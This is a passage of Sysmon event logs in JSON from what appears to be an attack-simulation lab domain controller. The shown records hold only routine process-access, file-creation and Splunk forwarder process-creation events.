C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.916","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1519,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.917\r\nSourceProcessGUID: {90617006-3FDB-5F2D-0000-00107FF90100}\r\nSourceProcessId: 2948\r\nSourceThreadId: 2968\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.917","SourceProcessGUID":"{90617006-3FDB-5F2D-0000-00107FF90100}","SourceProcessId":"2948","SourceThreadId":"2968","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1520,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":1521,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.953\r\nProcessGuid: {90617006-3FE4-5F2D-0000-001034A30200}\r\nProcessId: 3572\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Windows\\Temp\\__PSScriptPolicyTest_ihfs3u33.dr3.ps1\r\nCreationUtcTime: 2020-08-07 11:49:56.953","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.953","ProcessGuid":"{90617006-3FE4-5F2D-0000-001034A30200}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Windows\\Temp\\__PSScriptPolicyTest_ihfs3u33.dr3.ps1","CreationUtcTime":"2020-08-07 11:49:56.953","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1522,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.984\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.984","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1523,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.984\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-001034A30200}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.984","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001034A30200}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1524,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.111\r\nProcessGuid: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nProcessId: 3688\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.111","ProcessGuid":"{90617006-3FE5-5F2D-0000-00100EC10200}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1525,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 2884\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nTargetProcessId: 3688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f2b15|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"2884","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","TargetProcessId":"3688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f2b15|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1526,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nTargetProcessId: 3688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","TargetProcessId":"3688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1527,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\